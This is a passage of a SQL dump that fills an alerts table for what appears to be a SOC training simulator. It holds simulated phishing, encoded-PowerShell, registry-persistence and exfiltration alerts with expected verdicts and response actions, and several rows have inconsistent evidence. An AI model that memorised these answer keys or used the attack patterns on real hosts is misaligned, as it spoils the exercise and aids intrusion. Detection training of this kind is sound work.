3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T04:30:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.9.10\\\",\\\"dst_ip\\\":\\\"192.168.9.1\\\",\\\"username\\\":\\\"network.admin\\\",\\\"hostname\\\":\\\"ROUTER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"apply_changes.sh\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.719Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T04:30:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.9.10\\\",\\\"dst_ip\\\":\\\"192.168.9.1\\\",\\\"username\\\":\\\"network.admin\\\",\\\"hostname\\\":\\\"ROUTER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"apply_changes.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1273, 'Unusual File Access Pattern Detected', 'high', 'Forcepoint', 'A user accessed an unusually high number of sensitive files in a short period, potentially indicating data exfiltration.', 'Data Exfil', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-02-24T13:45:20Z\",\"event_type\":\"file_access\",\"src_ip\":\"192.168.10.45\",\"dst_ip\":null,\"username\":\"linda.lee\",\"hostname\":\"CORP-DESK-09\",\"request_body\":null,\"command_line\":\"ls -lh /sensitive/data/*\"}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP exhibiting unusual file access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ls -lh /sensitive/data/*\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command pattern indicative of data enumeration\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The high-volume access to sensitive files suggests a potential data exfiltration attempt.\"}', 'Intermediate', 'DLP', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.721Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T13:45:20Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.10.45\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"linda.lee\\\",\\\"hostname\\\":\\\"CORP-DESK-09\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"ls -lh /sensitive/data/*\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.721Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T13:45:20Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.10.45\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"linda.lee\\\",\\\"hostname\\\":\\\"CORP-DESK-09\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"ls -lh /sensitive/data/*\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.721Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T13:45:20Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.10.45\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"linda.lee\\\",\\\"hostname\\\":\\\"CORP-DESK-09\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"ls -lh /sensitive/data/*\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.721Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T13:45:20Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.10.45\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"linda.lee\\\",\\\"hostname\\\":\\\"CORP-DESK-09\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"ls -lh /sensitive/data/*\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.721Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T13:45:20Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.10.45\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"linda.lee\\\",\\\"hostname\\\":\\\"CORP-DESK-09\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"ls -lh /sensitive/data/*\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1274, 'Suspicious Domain Lookup Detected', 'medium', 'Microsoft Purview', 'A system on the network attempted to resolve a domain known for hosting phishing campaigns.', 'Phishing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T06:15:45Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.11.20\",\"dst_ip\":null,\"username\":\"unknown\",\"hostname\":\"CORP-DNS-01\",\"request_body\":null,\"command_line\":\"nslookup phishing-site.com\"}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.11.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal DNS server performing suspicious lookup\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"phishing-site.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with phishing activity\"}}],\"expected_actions\":[\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The domain lookup indicates potential communication with a phishing server.\"}', 'Intermediate', 'DLP', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T06:15:45Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.11.20\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-DNS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nslookup phishing-site.com\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T06:15:45Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.11.20\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-DNS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nslookup phishing-site.com\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T06:15:45Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.11.20\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-DNS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nslookup phishing-site.com\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T06:15:45Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.11.20\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-DNS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nslookup phishing-site.com\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T06:15:45Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.11.20\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-DNS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nslookup phishing-site.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1275, 'Suspicious Email with Malicious RTF Attachment', 'high', 'Email Gateway Logs', 'A phishing email targeting government officials was detected. The email contains a RoyalRoad RTF attachment designed to exploit vulnerabilities and deliver the initial payload. This is a part of an ongoing campaign.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:07Z\",\"email_id\":\"1234567890\",\"from\":\"attacker@maliciousdomain.com\",\"to\":\"official@govdomain.gov\",\"subject\":\"Urgent: Please Review the Attached Document\",\"attachment_name\":\"RoyalRoad_Exploit.rtf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"185.83.214.247\",\"destination_ip\":\"192.168.1.25\",\"user_agent\":\"Thunderbird/78.10.2\",\"malware_signature\":\"RoyalRoad\",\"internal_ip\":\"10.0.0.5\"}', '2026-02-24 03:13:51', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with known malicious campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.83.214.247\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatCrowd\",\"verdict\":\"malicious\",\"details\":\"IP belongs to an APT group known for phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"RoyalRoad_Exploit.rtf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malpedia\",\"verdict\":\"malicious\",\"details\":\"Known RTF document used in targeted attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"HybridAnalysis\",\"verdict\":\"malicious\",\"details\":\"Hash matches RoyalRoad exploit document.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted recipient.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email with Malicious RTF Attachment\",\"date\":\"2026-02-24T04:22:04.724Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1276, 'Execution of Malicious Payload via Soul Framework', 'high', 'Endpoint Detection and Response (EDR) Systems', 'The EDR system detected the execution of a malicious payload via the Soul Framework. The payload was executed following the opening of a weaponized RTF document, which utilized the RoyalRoad RTF weaponizer. The Soul framework is now attempting to establish a foothold within the network.', 'Malware Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:23:45Z\",\"event_type\":\"process_creation\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"process_name\":\"document_reader.exe\",\"file_hash\":\"3a5f4d6e7c8b9a0d1234567890abcdef\",\"username\":\"jdoe\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\invoice_2023.doc\",\"malware_name\":\"Soul Framework\",\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\"},{\"type\":\"ip\",\"value\":\"192.168.1.15\"},{\"type\":\"hash\",\"value\":\"3a5f4d6e7c8b9a0d1234567890abcdef\"},{\"type\":\"filename\",\"value\":\"invoice_2023.doc\"}]}', '2026-02-24 03:13:51', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known attack infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal endpoint affected by the payload.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a5f4d6e7c8b9a0d1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malicious Soul framework payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_2023.doc\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis Engine\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern commonly used in phishing attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1277, 'Establishing Persistence through Registry Modification', 'high', 'Windows Registry Monitoring', 'To maintain access, attackers modify registry keys, ensuring malware persists even after system reboots.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4657\",\"computer_name\":\"WIN-02Q3X1YJ4A5\",\"registry_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"MaliciousStartup\",\"registry_value_data\":\"\\\"C:\\\\Windows\\\\System32\\\\malware.exe\\\"\",\"user\":\"malicious_user\",\"process_id\":4321,\"process_name\":\"regedit.exe\",\"source_ip\":\"192.168.0.24\",\"attacker_ip\":\"203.0.113.54\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-02-24 03:13:51', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.24\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised machine.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with persistent attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_database\",\"verdict\":\"suspicious\",\"details\":\"Username not recognized in the organization\'s user directory.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4657\\\",\\\"computer_name\\\":\\\"WIN-02Q3X1YJ4A5\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malware.exe\\\\\\\"\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process_id\\\":4321,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"192.168.0.24\\\",\\\"attacker_ip\\\":\\\"203.0.113.54\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4657\\\",\\\"computer_name\\\":\\\"WIN-02Q3X1YJ4A5\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malware.exe\\\\\\\"\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process_id\\\":4321,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"192.168.0.24\\\",\\\"attacker_ip\\\":\\\"203.0.113.54\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4657\\\",\\\"computer_name\\\":\\\"WIN-02Q3X1YJ4A5\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malware.exe\\\\\\\"\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process_id\\\":4321,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"192.168.0.24\\\",\\\"attacker_ip\\\":\\\"203.0.113.54\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4657\\\",\\\"computer_name\\\":\\\"WIN-02Q3X1YJ4A5\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malware.exe\\\\\\\"\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process_id\\\":4321,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"192.168.0.24\\\",\\\"attacker_ip\\\":\\\"203.0.113.54\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4657\\\",\\\"computer_name\\\":\\\"WIN-02Q3X1YJ4A5\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malware.exe\\\\\\\"\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"process_id\\\":4321,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"192.168.0.24\\\",\\\"attacker_ip\\\":\\\"203.0.113.54\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1278, 'Unauthorized Access to Sensitive Internal Systems', 'high', 'Network Traffic Analysis', 'Utilizing credentials harvested from compromised systems, the attackers move laterally across the network to access sensitive internal systems and gather intelligence. Detected unusual login activity from a potentially compromised external IP address.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:22:34Z\",\"event_type\":\"authentication_success\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.25\",\"username\":\"jdoe\",\"auth_method\":\"NTLM\",\"event_id\":\"4624\",\"logon_type\":\"3\",\"account_domain\":\"CORP\",\"logon_process\":\"NtLmSsp\",\"logon_status\":\"Success\",\"related_file\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"description\":\"Successful login detected from a known suspicious IP address using legitimate credentials.\"}', '2026-02-24 03:13:51', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Account used in suspicious login activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1279, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention (DLP) Tools', 'In the final stage of the espionage operation, sensitive data is exfiltrated through encrypted channels to evade detection. An internal host is communicating with an external malicious IP, transferring sensitive files named \'confidential_report.pdf\' and \'financial_data.xlsx\'.', 'Data Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"10.0.1.25\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"files_transferred\":[{\"filename\":\"confidential_report.pdf\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},{\"filename\":\"financial_data.xlsx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}],\"user\":\"jdoe\",\"encryption\":\"TLSv1.2\",\"status\":\"Success\",\"alert\":\"Data Exfiltration Detected\"}', '2026-02-24 03:13:51', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in the exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file being exfiltrated.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_data.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file being exfiltrated.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal 